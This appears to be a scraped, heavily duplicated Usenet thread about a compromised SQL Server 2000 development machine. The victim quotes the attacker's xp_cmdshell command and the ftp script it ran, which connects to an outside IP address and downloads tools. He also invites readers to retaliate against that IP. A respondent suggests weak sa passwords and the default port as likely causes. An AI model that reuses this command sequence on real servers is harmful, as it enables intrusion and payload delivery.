"Tibor Karaszi" <tibor_please.no.email_karaszi@.hotmail.nomail.com> wrote in
message news:e$fb$91$DHA.1032@.TK2MSFTNGP10.phx.gbl...
> Andre,
> I'm no security expert, so please forgive if I'm not using the right
> terminology etc.
> Could it be as simple as having no password for sa? This can happen is you
> install SQL Server in Windows Only mode and then Switch down to Mixed
mode,
> for instance.
> It happened to me on my home machine "this is no production server", but
of
> course the machine in itself got infected as well. I now always always
> always assign a strong password for sa (regardless security mode) and of
> course I'm using a firewall at home as well ;-).
> Is the SQL Server instance a default instance? If so, some viruses will
just
> aim for port 1433 and try sa without password. I can assume that some
> viruses can try brute force using other passwords as well, but logging
> failed logins would catch that.
> --
> Tibor Karaszi, SQL Server MVP
> Archive at:
>
http://groups.google.com/groups?oi=djq&as_ugroup=microsoft.public.sqlserver
>
> "Andre" <AndreGetsEnoughSPAM@.nospam.com> wrote in message
> news:eoosP61$DHA.1844@.TK2MSFTNGP11.phx.gbl...
> > I have a dev box running at home. The box is configured with Win2k
> Advanced
> > Server, with sp4 and all security updates. It also is running SQL 2k
> > Enterprise Edition with sp3a. It sits behind a Linksys firewall that is
> > usually sealed tight. I typically only keep 2 ports open; 5900 for vnc
> and
> > 3389 for terminal server.
> >
> > Occasionally, other developers I work with need to get on the box, and
> I'll
> > open 1433, and very occasionally 21, for ftp.
> >
> > About a week ago I discovered my serv-u server had been hacked. There
was
> a
> > new domain running. I wasn't too concerned because it had been setup to
> use
> > port 65300, which has never been open on my firewall. I traded several
> > emails with rhinosoft and finally just deleted the domain and kept my
> > fingers crossed.
> >
> > Yesterday, I wanted to see if my developers were on my box so I ran
> sp_who2.
> > I saw a box that I didn't recognize, then freaked when I saw the
> > ProgramName - SQL Exec for NetHakcerIII. You can find a description of
> the
> > program here: http://www.timelink.cn/tianxing/netck.htm.
> >
> > Upon running dbcc inputbuffer, I discovered they were running the
> following:
> > xp_cmdshell "ftp -I -n -v -s:C:\winnt\system32\vga.txt".
> >
> > Vga.txt contained the following:
> > open 205.146.38.34 1210
> > user echo
> > tools
> > BINARY
> > mget *.*
> > quit
> >
> > First of all...if anyone out there reading this owns this IP...the FBI
> will
> > be knocking on your door soon. Secondly, if anyone out there reading
this
> > would like to have some fun with this punk - you have their IP - have
fun!
> >
> > What I'm most concerned about though is how someone could have
compromised
> > my system. And especially xp_cmdshell. I saved a lot of information
> about
> > this person, including an outlook profile that I believe belongs to
them,
> > but what I don't remember is the Login that this was running under. I
> > rebuilt my box last night, including deleting the partition. So what I
> > didn't save is gone. I've never granted exec on xp_cmdshell to any of
my
> > sql users, so this person had to be running it under the sa account.
How
> > were they able to compromise my system so easily? I've extremely
diligent
> > about apply security updates/service packs, and as I mentioned earlier,
> the
> > box is usually locked down behind a firewall. With all ports closed it
> runs
> > in stealth mode according to grc.com.
> >
> > Any info is appreciated. I can also provide additional details of the
> files
> > deposited on my box by this person too.
> >
> > Thanks, Andre
> >
> >
> >
>|||> Fortunately 14 years of SQL experience, and a little common sense, would
> never allow me to run any box without a sa password. :)
Good. :-) I didn't really imply that you were, I was just sharing my
experiences and speculated around things that could have caused this.
Possibly, they cracked your password and used xp_cmdshell to spread in the
machine. Or, possibly some other way, of course.
Assuming they used xp_cmdshell, consider the service account and what
permissions it has in the domain and on that machine.
> It is a default instance, running on port 1433. So maybe in the future I
> should run it on a different port and just have my developers connect to
me
> on that port eh?
Yep. However, I don't know how difficult it would be to use some sort of
port scan to find the port number.
--
Tibor Karaszi, SQL Server MVP
Archive at:
http://groups.google.com/groups?oi=djq&as_ugroup=microsoft.public.sqlserver
"Andre" <AndreGetsEnoughSPAM@.nospam.com> wrote in message
news:uhRbwi2$DHA.2432@.TK2MSFTNGP11.phx.gbl...
> Fortunately 14 years of SQL experience, and a little common sense, would
> never allow me to run any box without a sa password. :) While I'm the
> first to admit it's not "strong", I do have a password.
> It is a default instance, running on port 1433. So maybe in the future I
> should run it on a different port and just have my developers connect to
me
> on that port eh?
> Andre
>
> "Tibor Karaszi" <tibor_please.no.email_karaszi@.hotmail.nomail.com> wrote
in
> message news:e$fb$91$DHA.1032@.TK2MSFTNGP10.phx.gbl...
> > Andre,
> >
> > I'm no security expert, so please forgive if I'm not using the right
> > terminology etc.
> > Could it be as simple as having no password for sa? This can happen is
you
> > install SQL Server in Windows Only mode and then Switch down to Mixed
> mode,
> > for instance.
> > It happened to me on my home machine "this is no production server", but
> of
> > course the machine in itself got infected as well. I now always always
> > always assign a strong password for sa (regardless security mode) and of
> > course I'm using a firewall at home as well ;-).
> >
> > Is the SQL Server instance a default instance? If so, some viruses will
> just
> > aim for port 1433 and try sa without password. I can assume that some
> > viruses can try brute force using other passwords as well, but logging
> > failed logins would catch that.
> >
> > --
> > Tibor Karaszi, SQL Server MVP
> > Archive at:
> >
>
http://groups.google.com/groups?oi=djq&as_ugroup=microsoft.public.sqlserver
> >
> >
> > "Andre" <AndreGetsEnoughSPAM@.nospam.com> wrote in message
> > news:eoosP61$DHA.1844@.TK2MSFTNGP11.phx.gbl...
> > > I have a dev box running at home. The box is configured with Win2k
> > Advanced
> > > Server, with sp4 and all security updates. It also is running SQL 2k
> > > Enterprise Edition with sp3a. It sits behind a Linksys firewall that
is
> > > usually sealed tight. I typically only keep 2 ports open; 5900 for
vnc
> > and
> > > 3389 for terminal server.
> > >
> > > Occasionally, other developers I work with need to get on the box, and
> > I'll
> > > open 1433, and very occasionally 21, for ftp.
> > >
> > > About a week ago I discovered my serv-u server had been hacked. There
> was
> > a
> > > new domain running. I wasn't too concerned because it had been setup
to
> > use
> > > port 65300, which has never been open on my firewall. I traded
several
> > > emails with rhinosoft and finally just deleted the domain and kept my
> > > fingers crossed.
> > >
> > > Yesterday, I wanted to see if my developers were on my box so I ran
> > sp_who2.
> > > I saw a box that I didn't recognize, then freaked when I saw the
> > > ProgramName - SQL Exec for NetHakcerIII. You can find a description
of
> > the
> > > program here: http://www.timelink.cn/tianxing/netck.htm.
> > >
> > > Upon running dbcc inputbuffer, I discovered they were running the
> > following:
> > > xp_cmdshell "ftp -I -n -v -s:C:\winnt\system32\vga.txt".
> > >
> > > Vga.txt contained the following:
> > > open 205.146.38.34 1210
> > > user echo
> > > tools
> > > BINARY
> > > mget *.*
> > > quit
> > >
> > > First of all...if anyone out there reading this owns this IP...the FBI
> > will
> > > be knocking on your door soon. Secondly, if anyone out there reading
> this
> > > would like to have some fun with this punk - you have their IP - have
> fun!
> > >
> > > What I'm most concerned about though is how someone could have
> compromised
> > > my system. And especially xp_cmdshell. I saved a lot of information
> > about
> > > this person, including an outlook profile that I believe belongs to
> them,
> > > but what I don't remember is the Login that this was running under. I
> > > rebuilt my box last night, including deleting the partition. So what
I
> > > didn't save is gone. I've never granted exec on xp_cmdshell to any of
> my
> > > sql users, so this person had to be running it under the sa account.
> How
> > > were they able to compromise my system so easily? I've extremely
> diligent
> > > about apply security updates/service packs, and as I mentioned
earlier,
> > the
> > > box is usually locked down behind a firewall. With all ports closed
it
> > runs
> > > in stealth mode according to grc.com.
> > >
> > > Any info is appreciated. I can also provide additional details of the
> > files
> > > deposited on my box by this person too.
> > >
> > > Thanks, Andre
> > >
> > >
> > >
> >
> >
>
Server, with sp4 and all security updates. It also is running SQL 2k
Enterprise Edition with sp3a. It sits behind a Linksys firewall that is
usually sealed tight. I typically only keep 2 ports open; 5900 for vnc and
3389 for terminal server.
Occasionally, other developers I work with need to get on the box, and I'll
open 1433, and very occasionally 21, for ftp.
About a week ago I discovered my serv-u server had been hacked. There was a
new domain running. I wasn't too concerned because it had been setup to use
port 65300, which has never been open on my firewall. I traded several
emails with rhinosoft and finally just deleted the domain and kept my
fingers crossed.
Yesterday, I wanted to see if my developers were on my box so I ran sp_who2.
I saw a box that I didn't recognize, then freaked when I saw the
ProgramName - SQL Exec for NetHakcerIII. You can find a description of the
program here: http://www.timelink.cn/tianxing/netck.htm.
Upon running dbcc inputbuffer, I discovered they were running the following:
xp_cmdshell "ftp -I -n -v -s:C:\winnt\system32\vga.txt".
Vga.txt contained the following:
open 205.146.38.34 1210
user echo
tools
BINARY
mget *.*
quit
First of all...if anyone out there reading this owns this IP...the FBI will
be knocking on your door soon. Secondly, if anyone out there reading this
would like to have some fun with this punk - you have their IP - have fun!
What I'm most concerned about though is how someone could have compromised
my system. And especially xp_cmdshell. I saved a lot of information about
this person, including an outlook profile that I believe belongs to them,
but what I don't remember is the Login that this was running under. I
rebuilt my box last night, including deleting the partition. So what I
didn't save is gone. I've never granted exec on xp_cmdshell to any of my
sql users, so this person had to be running it under the sa account. How
were they able to compromise my system so easily? I've extremely diligent
about apply security updates/service packs, and as I mentioned earlier, the
box is usually locked down behind a firewall. With all ports closed it runs
in stealth mode according to grc.com.
Any info is appreciated. I can also provide additional details of the files
deposited on my box by this person too.
Thanks, AndreAndre,
I'm no security expert, so please forgive if I'm not using the right
terminology etc.
Could it be as simple as having no password for sa? This can happen is you
install SQL Server in Windows Only mode and then Switch down to Mixed mode,
for instance.
It happened to me on my home machine "this is no production server", but of
course the machine in itself got infected as well. I now always always
always assign a strong password for sa (regardless security mode) and of
course I'm using a firewall at home as well ;-).
Is the SQL Server instance a default instance? If so, some viruses will just
aim for port 1433 and try sa without password. I can assume that some
viruses can try brute force using other passwords as well, but logging
failed logins would catch that.
--
Tibor Karaszi, SQL Server MVP
Archive at:
http://groups.google.com/groups?oi=djq&as_ugroup=microsoft.public.sqlserver
"Andre" <AndreGetsEnoughSPAM@.nospam.com> wrote in message
news:eoosP61$DHA.1844@.TK2MSFTNGP11.phx.gbl...
> I have a dev box running at home. The box is configured with Win2k
Advanced
> Server, with sp4 and all security updates. It also is running SQL 2k
> Enterprise Edition with sp3a. It sits behind a Linksys firewall that is
> usually sealed tight. I typically only keep 2 ports open; 5900 for vnc
and
> 3389 for terminal server.
> Occasionally, other developers I work with need to get on the box, and
I'll
> open 1433, and very occasionally 21, for ftp.
> About a week ago I discovered my serv-u server had been hacked. There was
a
> new domain running. I wasn't too concerned because it had been setup to
use
> port 65300, which has never been open on my firewall. I traded several
> emails with rhinosoft and finally just deleted the domain and kept my
> fingers crossed.
> Yesterday, I wanted to see if my developers were on my box so I ran
sp_who2.
> I saw a box that I didn't recognize, then freaked when I saw the
> ProgramName - SQL Exec for NetHakcerIII. You can find a description of
the
> program here: http://www.timelink.cn/tianxing/netck.htm.
> Upon running dbcc inputbuffer, I discovered they were running the
following:
> xp_cmdshell "ftp -I -n -v -s:C:\winnt\system32\vga.txt".
> Vga.txt contained the following:
> open 205.146.38.34 1210
> user echo
> tools
> BINARY
> mget *.*
> quit
> First of all...if anyone out there reading this owns this IP...the FBI
will
> be knocking on your door soon. Secondly, if anyone out there reading this
> would like to have some fun with this punk - you have their IP - have fun!
> What I'm most concerned about though is how someone could have compromised
> my system. And especially xp_cmdshell. I saved a lot of information
about
> this person, including an outlook profile that I believe belongs to them,
> but what I don't remember is the Login that this was running under. I
> rebuilt my box last night, including deleting the partition. So what I
> didn't save is gone. I've never granted exec on xp_cmdshell to any of my
> sql users, so this person had to be running it under the sa account. How
> were they able to compromise my system so easily? I've extremely diligent
> about apply security updates/service packs, and as I mentioned earlier,
the
> box is usually locked down behind a firewall. With all ports closed it
runs
> in stealth mode according to grc.com.
> Any info is appreciated. I can also provide additional details of the
files
> deposited on my box by this person too.
> Thanks, Andre
>
>|||Fortunately 14 years of SQL experience, and a little common sense, would
never allow me to run any box without a sa password. :) While I'm the
first to admit it's not "strong", I do have a password.
It is a default instance, running on port 1433. So maybe in the future I
should run it on a different port and just have my developers connect to me
on that port eh?
Andre
"Tibor Karaszi" <tibor_please.no.email_karaszi@.hotmail.nomail.com> wrote in
message news:e$fb$91$DHA.1032@.TK2MSFTNGP10.phx.gbl...
> Andre,
> I'm no security expert, so please forgive if I'm not using the right
> terminology etc.
> Could it be as simple as having no password for sa? This can happen is you
> install SQL Server in Windows Only mode and then Switch down to Mixed
mode,
> for instance.
> It happened to me on my home machine "this is no production server", but
of
> course the machine in itself got infected as well. I now always always
> always assign a strong password for sa (regardless security mode) and of
> course I'm using a firewall at home as well ;-).
> Is the SQL Server instance a default instance? If so, some viruses will
just
> aim for port 1433 and try sa without password. I can assume that some
> viruses can try brute force using other passwords as well, but logging
> failed logins would catch that.
> --
> Tibor Karaszi, SQL Server MVP
> Archive at:
>
http://groups.google.com/groups?oi=djq&as_ugroup=microsoft.public.sqlserver
>
> "Andre" <AndreGetsEnoughSPAM@.nospam.com> wrote in message
> news:eoosP61$DHA.1844@.TK2MSFTNGP11.phx.gbl...
> > I have a dev box running at home. The box is configured with Win2k
> Advanced
> > Server, with sp4 and all security updates. It also is running SQL 2k
> > Enterprise Edition with sp3a. It sits behind a Linksys firewall that is
> > usually sealed tight. I typically only keep 2 ports open; 5900 for vnc
> and
> > 3389 for terminal server.
> >
> > Occasionally, other developers I work with need to get on the box, and
> I'll
> > open 1433, and very occasionally 21, for ftp.
> >
> > About a week ago I discovered my serv-u server had been hacked. There
was
> a
> > new domain running. I wasn't too concerned because it had been setup to
> use
> > port 65300, which has never been open on my firewall. I traded several
> > emails with rhinosoft and finally just deleted the domain and kept my
> > fingers crossed.
> >
> > Yesterday, I wanted to see if my developers were on my box so I ran
> sp_who2.
> > I saw a box that I didn't recognize, then freaked when I saw the
> > ProgramName - SQL Exec for NetHakcerIII. You can find a description of
> the
> > program here: http://www.timelink.cn/tianxing/netck.htm.
> >
> > Upon running dbcc inputbuffer, I discovered they were running the
> following:
> > xp_cmdshell "ftp -I -n -v -s:C:\winnt\system32\vga.txt".
> >
> > Vga.txt contained the following:
> > open 205.146.38.34 1210
> > user echo
> > tools
> > BINARY
> > mget *.*
> > quit
> >
> > First of all...if anyone out there reading this owns this IP...the FBI
> will
> > be knocking on your door soon. Secondly, if anyone out there reading
this
> > would like to have some fun with this punk - you have their IP - have
fun!
> >
> > What I'm most concerned about though is how someone could have
compromised
> > my system. And especially xp_cmdshell. I saved a lot of information
> about
> > this person, including an outlook profile that I believe belongs to
them,
> > but what I don't remember is the Login that this was running under. I
> > rebuilt my box last night, including deleting the partition. So what I
> > didn't save is gone. I've never granted exec on xp_cmdshell to any of
my
> > sql users, so this person had to be running it under the sa account.
How
> > were they able to compromise my system so easily? I've extremely
diligent
> > about apply security updates/service packs, and as I mentioned earlier,
> the
> > box is usually locked down behind a firewall. With all ports closed it
> runs
> > in stealth mode according to grc.com.
> >
> > Any info is appreciated. I can also provide additional details of the
> files
> > deposited on my box by this person too.
> >
> > Thanks, Andre
> >
> >
> >
>|||> Fortunately 14 years of SQL experience, and a little common sense, would
> never allow me to run any box without a sa password. :)
Good. :-) I didn't really imply that you were, I was just sharing my
experiences and speculated around things that could have caused this.
Possibly, they cracked your password and used xp_cmdshell to spread in the
machine. Or, possibly some other way, of course.
Assuming they used xp_cmdshell, consider the service account and what
permissions it has in the domain and on that machine.
> It is a default instance, running on port 1433. So maybe in the future I
> should run it on a different port and just have my developers connect to
me
> on that port eh?
Yep. However, I don't know how difficult it would be to use some sort of
port scan to find the port number.
--
Tibor Karaszi, SQL Server MVP
Archive at:
http://groups.google.com/groups?oi=djq&as_ugroup=microsoft.public.sqlserver
"Andre" <AndreGetsEnoughSPAM@.nospam.com> wrote in message
news:uhRbwi2$DHA.2432@.TK2MSFTNGP11.phx.gbl...
> Fortunately 14 years of SQL experience, and a little common sense, would
> never allow me to run any box without a sa password. :) While I'm the
> first to admit it's not "strong", I do have a password.
> It is a default instance, running on port 1433. So maybe in the future I
> should run it on a different port and just have my developers connect to
me
> on that port eh?
> Andre
>
> "Tibor Karaszi" <tibor_please.no.email_karaszi@.hotmail.nomail.com> wrote
in
> message news:e$fb$91$DHA.1032@.TK2MSFTNGP10.phx.gbl...
> > Andre,
> >
> > I'm no security expert, so please forgive if I'm not using the right
> > terminology etc.
> > Could it be as simple as having no password for sa? This can happen is
you
> > install SQL Server in Windows Only mode and then Switch down to Mixed
> mode,
> > for instance.
> > It happened to me on my home machine "this is no production server", but
> of
> > course the machine in itself got infected as well. I now always always
> > always assign a strong password for sa (regardless security mode) and of
> > course I'm using a firewall at home as well ;-).
> >
> > Is the SQL Server instance a default instance? If so, some viruses will
> just
> > aim for port 1433 and try sa without password. I can assume that some
> > viruses can try brute force using other passwords as well, but logging
> > failed logins would catch that.
> >
> > --
> > Tibor Karaszi, SQL Server MVP
> > Archive at:
> >
>
http://groups.google.com/groups?oi=djq&as_ugroup=microsoft.public.sqlserver
> >
> >
> > "Andre" <AndreGetsEnoughSPAM@.nospam.com> wrote in message
> > news:eoosP61$DHA.1844@.TK2MSFTNGP11.phx.gbl...
> > > I have a dev box running at home. The box is configured with Win2k
> > Advanced
> > > Server, with sp4 and all security updates. It also is running SQL 2k
> > > Enterprise Edition with sp3a. It sits behind a Linksys firewall that
is
> > > usually sealed tight. I typically only keep 2 ports open; 5900 for
vnc
> > and
> > > 3389 for terminal server.
> > >
> > > Occasionally, other developers I work with need to get on the box, and
> > I'll
> > > open 1433, and very occasionally 21, for ftp.
> > >
> > > About a week ago I discovered my serv-u server had been hacked. There
> was
> > a
> > > new domain running. I wasn't too concerned because it had been setup
to
> > use
> > > port 65300, which has never been open on my firewall. I traded
several
> > > emails with rhinosoft and finally just deleted the domain and kept my
> > > fingers crossed.
> > >
> > > Yesterday, I wanted to see if my developers were on my box so I ran
> > sp_who2.
> > > I saw a box that I didn't recognize, then freaked when I saw the
> > > ProgramName - SQL Exec for NetHakcerIII. You can find a description
of
> > the
> > > program here: http://www.timelink.cn/tianxing/netck.htm.
> > >
> > > Upon running dbcc inputbuffer, I discovered they were running the
> > following:
> > > xp_cmdshell "ftp -I -n -v -s:C:\winnt\system32\vga.txt".
> > >
> > > Vga.txt contained the following:
> > > open 205.146.38.34 1210
> > > user echo
> > > tools
> > > BINARY
> > > mget *.*
> > > quit
> > >
> > > First of all...if anyone out there reading this owns this IP...the FBI
> > will
> > > be knocking on your door soon. Secondly, if anyone out there reading
> this
> > > would like to have some fun with this punk - you have their IP - have
> fun!
> > >
> > > What I'm most concerned about though is how someone could have
> compromised
> > > my system. And especially xp_cmdshell. I saved a lot of information
> > about
> > > this person, including an outlook profile that I believe belongs to
> them,
> > > but what I don't remember is the Login that this was running under. I
> > > rebuilt my box last night, including deleting the partition. So what
I
> > > didn't save is gone. I've never granted exec on xp_cmdshell to any of
> my
> > > sql users, so this person had to be running it under the sa account.
> How
> > > were they able to compromise my system so easily? I've extremely
> diligent
> > > about apply security updates/service packs, and as I mentioned
earlier,
> > the
> > > box is usually locked down behind a firewall. With all ports closed
it
> > runs
> > > in stealth mode according to grc.com.
> > >
> > > Any info is appreciated. I can also provide additional details of the
> > files
> > > deposited on my box by this person too.
> > >
> > > Thanks, Andre
> > >
> > >
> > >
> >
> >
>
Subscribe to:
Posts (Atom)